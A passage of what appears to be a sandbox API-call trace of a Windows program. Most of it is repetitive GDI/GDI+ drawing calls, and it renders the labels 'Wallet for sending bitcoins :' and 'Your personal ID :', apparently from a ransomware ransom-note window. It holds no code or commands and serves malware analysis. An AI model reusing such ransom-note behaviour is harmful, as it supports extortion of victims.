[0283.463] GetCurrentObject (hdc=0xb010b4c, type=0x6) returned 0x18a002e
[0283.463] SaveDC (hdc=0xb010b4c) returned 1
[0283.463] OffsetViewportOrgEx (in: hdc=0xb010b4c, x=0, y=0, lppt=0x285e0e0 | out: lppt=0x285e0e0) returned 1
[0283.464] IsAppThemed () returned 0x1
[0283.464] GetThemeAppProperties () returned 0x3
[0283.464] GetThemeAppProperties () returned 0x3
[0283.464] DrawThemeBackground () returned 0x0
[0283.464] RestoreDC (hdc=0xb010b4c, nSavedDC=-1) returned 1
[0283.464] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xb010b4c) returned 0x0
[0283.464] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0283.464] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.464] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0283.465] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0283.465] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed638) returned 0x0
[0283.465] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.465] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x27eb7de0) returned 0x0
[0283.465] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.466] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0283.466] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0283.466] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.466] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0283.466] GetCurrentObject (hdc=0xb010b4c, type=0x1) returned 0x1b00017
[0283.466] GetCurrentObject (hdc=0xb010b4c, type=0x2) returned 0x1900010
[0283.467] GetCurrentObject (hdc=0xb010b4c, type=0x7) returned 0x6050b85
[0283.467] GetCurrentObject (hdc=0xb010b4c, type=0x6) returned 0x18a002e
[0283.467] SaveDC (hdc=0xb010b4c) returned 1
[0283.467] OffsetViewportOrgEx (in: hdc=0xb010b4c, x=0, y=0, lppt=0x285e538 | out: lppt=0x285e538) returned 1
[0283.467] IsAppThemed () returned 0x1
[0283.467] GetThemeAppProperties () returned 0x3
[0283.467] GetThemeAppProperties () returned 0x3
[0283.468] DrawThemeBackground () returned 0x0
[0283.468] RestoreDC (hdc=0xb010b4c, nSavedDC=-1) returned 1
[0283.468] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xb010b4c) returned 0x0
[0283.468] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0283.468] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.468] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0283.469] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0283.469] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed638) returned 0x0
[0283.469] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.469] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x27eb7de0) returned 0x0
[0283.469] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.469] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0283.470] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0283.470] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.470] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0283.470] GetCurrentObject (hdc=0xb010b4c, type=0x1) returned 0x1b00017
[0283.470] GetCurrentObject (hdc=0xb010b4c, type=0x2) returned 0x1900010
[0283.470] GetCurrentObject (hdc=0xb010b4c, type=0x7) returned 0x6050b85
[0283.471] GetCurrentObject (hdc=0xb010b4c, type=0x6) returned 0x18a002e
[0283.471] SaveDC (hdc=0xb010b4c) returned 1
[0283.471] OffsetViewportOrgEx (in: hdc=0xb010b4c, x=0, y=0, lppt=0x285e990 | out: lppt=0x285e990) returned 1
[0283.471] IsAppThemed () returned 0x1
[0283.471] GetThemeAppProperties () returned 0x3
[0283.471] GetThemeAppProperties () returned 0x3
[0283.471] DrawThemeBackground () returned 0x0
[0283.471] RestoreDC (hdc=0xb010b4c, nSavedDC=-1) returned 1
[0283.472] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xb010b4c) returned 0x0
[0283.472] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0283.472] SelectPalette (hdc=0xb010b4c, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0283.473] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0x14, wParam=0x1010a48, lParam=0x0) returned 0x1
[0283.473] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0283.473] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0283.474] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x14, wParam=0x2010b40, lParam=0x0) returned 0x1
[0283.474] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1
[0283.474] SetTextColor (hdc=0x2010a5c, color=0xffffff) returned 0x0
[0283.474] SetBkColor (hdc=0x2010a5c, color=0x80) returned 0xffffff
[0283.475] GetWindowTextLengthW (hWnd=0x20282) returned 29
[0283.475] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1d
[0283.475] GetSystemMetrics (nIndex=42) returned 0
[0283.475] GetWindowTextW (in: hWnd=0x20282, lpString=0x2ed8f0, nMaxCount=30 | out: lpString="Wallet for sending bitcoins :") returned 29
[0283.475] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xd, wParam=0x1e, lParam=0x2ed8f0) returned 0x1d
[0283.475] GetClientRect (in: hWnd=0x20282, lpRect=0x2edac8 | out: lpRect=0x2edac8) returned 1
[0283.475] GetCurrentObject (hdc=0xc010b4c, type=0x1) returned 0x1b00017
[0283.475] GetCurrentObject (hdc=0xc010b4c, type=0x2) returned 0x1900010
[0283.475] GetCurrentObject (hdc=0xc010b4c, type=0x7) returned 0x6050b85
[0283.476] GetCurrentObject (hdc=0xc010b4c, type=0x6) returned 0x18a002e
[0283.476] SaveDC (hdc=0xc010b4c) returned 1
[0283.476] GetNearestColor (hdc=0xc010b4c, color=0x80) returned 0x80
[0283.476] CreateSolidBrush (color=0x80) returned 0xe100a95
[0283.476] FillRect (hDC=0xc010b4c, lprc=0x2ed7b8, hbr=0xe100a95) returned 1
[0283.477] DeleteObject (ho=0xe100a95) returned 1
[0283.477] RestoreDC (hdc=0xc010b4c, nSavedDC=-1) returned 1
[0283.477] GetWindowTextLengthW (hWnd=0x20282) returned 29
[0283.477] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1d
[0283.477] GetSystemMetrics (nIndex=42) returned 0
[0283.477] GetWindowTextW (in: hWnd=0x20282, lpString=0x2ed8f0, nMaxCount=30 | out: lpString="Wallet for sending bitcoins :") returned 29
[0283.477] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xd, wParam=0x1e, lParam=0x2ed8f0) returned 0x1d
[0283.477] IsAppThemed () returned 0x1
[0283.477] GetThemeAppProperties () returned 0x3
[0283.477] GetThemeAppProperties () returned 0x3
[0283.477] SelectPalette (hdc=0xc010b4c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0283.478] GdipCreateFromHDC (hdc=0xc010b4c, graphics=0x2ed9a8) returned 0x0
[0283.478] GdipSetPageUnit (graphics=0x1c5a8050, unit=0x2) returned 0x0
[0283.478] GdipCreateMatrix (matrix=0x2ed8a0) returned 0x0
[0283.478] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0283.478] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed908) returned 0x0
[0283.479] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0283.479] GdipCreateRegion (region=0x2ed8a0) returned 0x0
[0283.479] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.479] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed900) returned 0x0
[0283.479] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.479] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ed9a0) returned 0x0
[0283.480] IsAppThemed () returned 0x1
[0283.480] GetThemeAppProperties () returned 0x3
[0283.480] GetThemeAppProperties () returned 0x3
[0283.480] IsAppThemed () returned 0x1
[0283.480] GetThemeAppProperties () returned 0x3
[0283.480] GetThemeAppProperties () returned 0x3
[0283.480] IsThemePartDefined () returned 0x1
[0283.480] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed798) returned 0x0
[0283.480] GdipCreateRegion (region=0x2ed610) returned 0x0
[0283.480] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.480] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
[0283.480] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0283.481] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed678) returned 0x0
[0283.481] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.481] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x27eb7de0) returned 0x0
[0283.481] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.481] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0283.481] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0283.481] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.482] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0283.482] GetCurrentObject (hdc=0xc010b4c, type=0x1) returned 0x1b00017
[0283.482] GetCurrentObject (hdc=0xc010b4c, type=0x2) returned 0x1900010
[0283.482] GetCurrentObject (hdc=0xc010b4c, type=0x7) returned 0x6050b85
[0283.482] GetCurrentObject (hdc=0xc010b4c, type=0x6) returned 0x18a002e
[0283.482] SaveDC (hdc=0xc010b4c) returned 1
[0283.483] OffsetViewportOrgEx (in: hdc=0xc010b4c, x=0, y=0, lppt=0x285f780 | out: lppt=0x285f780) returned 1
[0283.483] GetCurrentObject (hdc=0xc010b4c, type=0x6) returned 0x18a002e
[0283.483] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed4e0 | out: pv=0x2ed4e0) returned 92
[0283.483] SelectObject (hdc=0xc010b4c, h=0x50a0b98) returned 0x18a002e
[0283.484] DrawTextExW (in: hdc=0xc010b4c, lpchText="Wallet for sending bitcoins :", cchText=29, lprc=0x2ed798, format=0x102410, lpdtp=0x285f798 | out: lpchText="Wallet for sending bitcoins :", lprc=0x2ed798) returned 14
[0283.484] RestoreDC (hdc=0xc010b4c, nSavedDC=-1) returned 1
[0283.484] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xc010b4c) returned 0x0
[0283.484] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed768) returned 0x0
[0283.485] GdipCreateRegion (region=0x2ed5e0) returned 0x0
[0283.485] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0283.485] GdipCreateMatrix (matrix=0x2ed5e0) returned 0x0
[0283.485] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0283.485] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed648) returned 0x0
[0283.485] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7de0
[0283.485] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x27eb7de0) returned 0x0
[0283.486] LocalFree (hMem=0x27eb7de0) returned 0x0
[0283.486] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0283.486] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6b0) returned 0x0
[0283.486] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0283.486] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6b8) returned 0x0
[0283.486] GetCurrentObject (hdc=0xc010b4c, type=0x1) returned 0x1b00017
[0283.487] GetCurrentObject (hdc=0xc010b4c, type=0x2) returned 0x1900010
[0283.487] GetCurrentObject (hdc=0xc010b4c, type=0x7) returned 0x6050b85
[0283.487] GetCurrentObject (hdc=0xc010b4c, type=0x6) returned 0x18a002e
[0283.487] SaveDC (hdc=0xc010b4c) returned 1
[0283.487] OffsetViewportOrgEx (in: hdc=0xc010b4c, x=0, y=0, lppt=0x285fb98 | out: lppt=0x285fb98) returned 1
[0283.487] GetTextAlign (hdc=0xc010b4c) returned 0x0
[0283.488] GetTextColor (hdc=0xc010b4c) returned 0x0
[0283.488] SetTextColor (hdc=0xc010b4c, color=0xffff) returned 0x0
[0283.488] GetCurrentObject (hdc=0xc010b4c, type=0x6) returned 0x18a002e
[0283.488] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed280 | out: pv=0x2ed280) returned 92
[0283.488] SelectObject (hdc=0xc010b4c, h=0x50a0b98) returned 0x18a002e
[0283.489] GetBkMode (hdc=0xc010b4c) returned 2
[0283.489] SetBkMode (hdc=0xc010b4c, mode=1) returned 2
[0283.489] DrawTextExW (in: hdc=0xc010b4c, lpchText="Wallet for sending bitcoins :", cchText=29, lprc=0x2ed6d8, format=0x102010, lpdtp=0x285fd98 | out: lpchText="Wallet for sending bitcoins :", lprc=0x2ed6d8) returned 14
[0283.489] RestoreDC (hdc=0xc010b4c, nSavedDC=-1) returned 1
[0283.490] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xc010b4c) returned 0x0
[0283.490] GetDC (hWnd=0x0) returned 0x2010b40
[0283.490] GdipCreateFromHDC (hdc=0x2010b40, graphics=0x2ed788) returned 0x0
[0283.490] GdipGetFontHeight (font=0x1c5af010, graphics=0x1cb7c2b0, height=0x2ed784) returned 0x0
[0283.490] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0283.491] ReleaseDC (hWnd=0x0, hDC=0x2010b40) returned 1
[0283.491] GetDC (hWnd=0x0) returned 0x2010b40
[0283.491] GdipCreateFromHDC (hdc=0x2010b40, graphics=0x2ed788) returned 0x0
[0283.491] GdipGetFontHeight (font=0x1c5af010, graphics=0x1cb7c2b0, height=0x2ed784) returned 0x0
[0285.118] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0285.119] ReleaseDC (hWnd=0x0, hDC=0x2010b40) returned 1
[0285.140] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.140] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.140] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.141] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.141] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed638) returned 0x0
[0285.141] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.141] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.142] LocalFree (hMem=0x1de51510) returned 0x0
[0285.142] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.142] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.142] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.142] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.143] GetCurrentObject (hdc=0xc010b4c, type=0x1) returned 0x1b00017
[0285.143] GetCurrentObject (hdc=0xc010b4c, type=0x2) returned 0x1900010
[0285.143] GetCurrentObject (hdc=0xc010b4c, type=0x7) returned 0x6050b85
[0285.144] GetCurrentObject (hdc=0xc010b4c, type=0x6) returned 0x18a002e
[0285.144] SaveDC (hdc=0xc010b4c) returned 1
[0285.144] OffsetViewportOrgEx (in: hdc=0xc010b4c, x=0, y=0, lppt=0x26a5ef0 | out: lppt=0x26a5ef0) returned 1
[0285.145] IsAppThemed () returned 0x1
[0285.145] GetThemeAppProperties () returned 0x3
[0285.145] GetThemeAppProperties () returned 0x3
[0285.146] DrawThemeBackground () returned 0x0
[0285.147] RestoreDC (hdc=0xc010b4c, nSavedDC=-1) returned 1
[0285.147] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xc010b4c) returned 0x0
[0285.147] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.147] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.147] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.147] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0285.147] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed638) returned 0x0
[0285.147] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.147] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0285.148] LocalFree (hMem=0x1de51510) returned 0x0
[0285.148] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0285.148] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.148] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.148] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.148] GetCurrentObject (hdc=0xc010b4c, type=0x1) returned 0x1b00017
[0285.148] GetCurrentObject (hdc=0xc010b4c, type=0x2) returned 0x1900010
[0285.148] GetCurrentObject (hdc=0xc010b4c, type=0x7) returned 0x6050b85
[0285.148] GetCurrentObject (hdc=0xc010b4c, type=0x6) returned 0x18a002e
[0285.148] SaveDC (hdc=0xc010b4c) returned 1
[0285.148] OffsetViewportOrgEx (in: hdc=0xc010b4c, x=0, y=0, lppt=0x26a6348 | out: lppt=0x26a6348) returned 1
[0285.148] IsAppThemed () returned 0x1
[0285.149] GetThemeAppProperties () returned 0x3
[0285.149] GetThemeAppProperties () returned 0x3
[0285.149] DrawThemeBackground () returned 0x0
[0285.149] RestoreDC (hdc=0xc010b4c, nSavedDC=-1) returned 1
[0285.149] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xc010b4c) returned 0x0
[0285.149] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.149] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.149] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.149] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.149] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed638) returned 0x0
[0285.149] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.149] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.149] LocalFree (hMem=0x1de51510) returned 0x0
[0285.149] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.149] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.149] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.149] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.149] GetCurrentObject (hdc=0xc010b4c, type=0x1) returned 0x1b00017
[0285.150] GetCurrentObject (hdc=0xc010b4c, type=0x2) returned 0x1900010
[0285.150] GetCurrentObject (hdc=0xc010b4c, type=0x7) returned 0x6050b85
[0285.150] GetCurrentObject (hdc=0xc010b4c, type=0x6) returned 0x18a002e
[0285.150] SaveDC (hdc=0xc010b4c) returned 1
[0285.150] OffsetViewportOrgEx (in: hdc=0xc010b4c, x=0, y=0, lppt=0x26a67a0 | out: lppt=0x26a67a0) returned 1
[0285.150] IsAppThemed () returned 0x1
[0285.150] GetThemeAppProperties () returned 0x3
[0285.150] GetThemeAppProperties () returned 0x3
[0285.150] DrawThemeBackground () returned 0x0
[0285.150] RestoreDC (hdc=0xc010b4c, nSavedDC=-1) returned 1
[0285.150] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xc010b4c) returned 0x0
[0285.151] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0285.151] SelectPalette (hdc=0xc010b4c, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0285.340] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0x14, wParam=0x2010b40, lParam=0x0) returned 0x1
[0285.340] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0x85, wParam=0xb040b91, lParam=0x0) returned 0x0
[0285.341] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2027c, Msg=0x85, wParam=0xc040b91, lParam=0x0) returned 0x0
[0285.341] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2027c, Msg=0x14, wParam=0x2010a5c, lParam=0x0) returned 0x1
[0285.341] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0x85, wParam=0xd040b91, lParam=0x0) returned 0x1
[0285.342] SetTextColor (hdc=0x1010a48, color=0xffffff) returned 0x0
[0285.342] SetBkColor (hdc=0x1010a48, color=0x80) returned 0xffffff
[0285.343] GetWindowTextLengthW (hWnd=0x2029e) returned 18
[0285.343] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x12
[0285.344] GetSystemMetrics (nIndex=42) returned 0
[0285.344] GetWindowTextW (in: hWnd=0x2029e, lpString=0x2ed900, nMaxCount=19 | out: lpString="Your personal ID :") returned 18
[0285.344] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xd, wParam=0x13, lParam=0x2ed900) returned 0x12
[0285.345] GetClientRect (in: hWnd=0x2029e, lpRect=0x2edac8 | out: lpRect=0x2edac8) returned 1
[0285.346] GetCurrentObject (hdc=0xd010b4c, type=0x1) returned 0x1b00017
[0285.346] GetCurrentObject (hdc=0xd010b4c, type=0x2) returned 0x1900010
[0285.346] GetCurrentObject (hdc=0xd010b4c, type=0x7) returned 0x6050b85
[0285.346] GetCurrentObject (hdc=0xd010b4c, type=0x6) returned 0x18a002e
[0285.346] SaveDC (hdc=0xd010b4c) returned 1
[0285.346] GetNearestColor (hdc=0xd010b4c, color=0x80) returned 0x80
[0285.346] CreateSolidBrush (color=0x80) returned 0xf100a95
[0285.347] FillRect (hDC=0xd010b4c, lprc=0x2ed7b8, hbr=0xf100a95) returned 1
[0285.347] DeleteObject (ho=0xf100a95) returned 1
[0285.347] RestoreDC (hdc=0xd010b4c, nSavedDC=-1) returned 1
[0285.347] GetWindowTextLengthW (hWnd=0x2029e) returned 18
[0285.347] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x12
[0285.347] GetSystemMetrics (nIndex=42) returned 0
[0285.347] GetWindowTextW (in: hWnd=0x2029e, lpString=0x2ed900, nMaxCount=19 | out: lpString="Your personal ID :") returned 18
[0285.347] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xd, wParam=0x13, lParam=0x2ed900) returned 0x12
[0285.347] IsAppThemed () returned 0x1
[0285.347] GetThemeAppProperties () returned 0x3
[0285.347] GetThemeAppProperties () returned 0x3
[0285.347] SelectPalette (hdc=0xd010b4c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0285.347] GdipCreateFromHDC (hdc=0xd010b4c, graphics=0x2ed9a8) returned 0x0
[0285.348] GdipSetPageUnit (graphics=0x1c5a8050, unit=0x2) returned 0x0
[0285.348] GdipCreateMatrix (matrix=0x2ed8a0) returned 0x0
[0285.348] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0285.348] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed908) returned 0x0
[0285.348] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0285.348] GdipCreateRegion (region=0x2ed8a0) returned 0x0
[0285.348] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.349] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed900) returned 0x0
[0285.349] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.349] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ed9a0) returned 0x0
[0285.349] IsAppThemed () returned 0x1
[0285.349] GetThemeAppProperties () returned 0x3
[0285.349] GetThemeAppProperties () returned 0x3
[0285.349] IsAppThemed () returned 0x1
[0285.349] GetThemeAppProperties () returned 0x3
[0285.349] GetThemeAppProperties () returned 0x3
[0285.349] IsThemePartDefined () returned 0x1
[0285.349] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed798) returned 0x0
[0285.349] GdipCreateRegion (region=0x2ed610) returned 0x0
[0285.350] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.350] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
[0285.350] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.350] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed678) returned 0x0
[0285.350] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.350] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.350] LocalFree (hMem=0x1de51510) returned 0x0
[0285.350] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.350] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0285.350] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.350] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0285.350] GetCurrentObject (hdc=0xd010b4c, type=0x1) returned 0x1b00017
[0285.350] GetCurrentObject (hdc=0xd010b4c, type=0x2) returned 0x1900010
[0285.350] GetCurrentObject (hdc=0xd010b4c, type=0x7) returned 0x6050b85
[0285.350] GetCurrentObject (hdc=0xd010b4c, type=0x6) returned 0x18a002e
[0285.351] SaveDC (hdc=0xd010b4c) returned 1
[0285.351] OffsetViewportOrgEx (in: hdc=0xd010b4c, x=0, y=0, lppt=0x26a7500 | out: lppt=0x26a7500) returned 1
[0285.351] GetCurrentObject (hdc=0xd010b4c, type=0x6) returned 0x18a002e
[0285.352] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed4e0 | out: pv=0x2ed4e0) returned 92
[0285.352] SelectObject (hdc=0xd010b4c, h=0x50a0b98) returned 0x18a002e
[0285.352] DrawTextExW (in: hdc=0xd010b4c, lpchText="Your personal ID :", cchText=18, lprc=0x2ed798, format=0x102410, lpdtp=0x26a7518 | out: lpchText="Your personal ID :", lprc=0x2ed798) returned 14
[0285.355] RestoreDC (hdc=0xd010b4c, nSavedDC=-1) returned 1
[0285.355] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xd010b4c) returned 0x0
[0285.355] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed768) returned 0x0
[0285.355] GdipCreateRegion (region=0x2ed5e0) returned 0x0
[0285.355] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.355] GdipCreateMatrix (matrix=0x2ed5e0) returned 0x0
[0285.355] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0285.355] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed648) returned 0x0
[0285.355] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.355] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0285.355] LocalFree (hMem=0x1de51510) returned 0x0
[0285.355] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0285.356] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6b0) returned 0x0
[0285.356] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.356] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6b8) returned 0x0
[0285.356] GetCurrentObject (hdc=0xd010b4c, type=0x1) returned 0x1b00017
[0285.356] GetCurrentObject (hdc=0xd010b4c, type=0x2) returned 0x1900010
[0285.356] GetCurrentObject (hdc=0xd010b4c, type=0x7) returned 0x6050b85
[0285.356] GetCurrentObject (hdc=0xd010b4c, type=0x6) returned 0x18a002e
[0285.356] SaveDC (hdc=0xd010b4c) returned 1
[0285.356] OffsetViewportOrgEx (in: hdc=0xd010b4c, x=0, y=0, lppt=0x26a7918 | out: lppt=0x26a7918) returned 1
[0285.356] GetTextAlign (hdc=0xd010b4c) returned 0x0
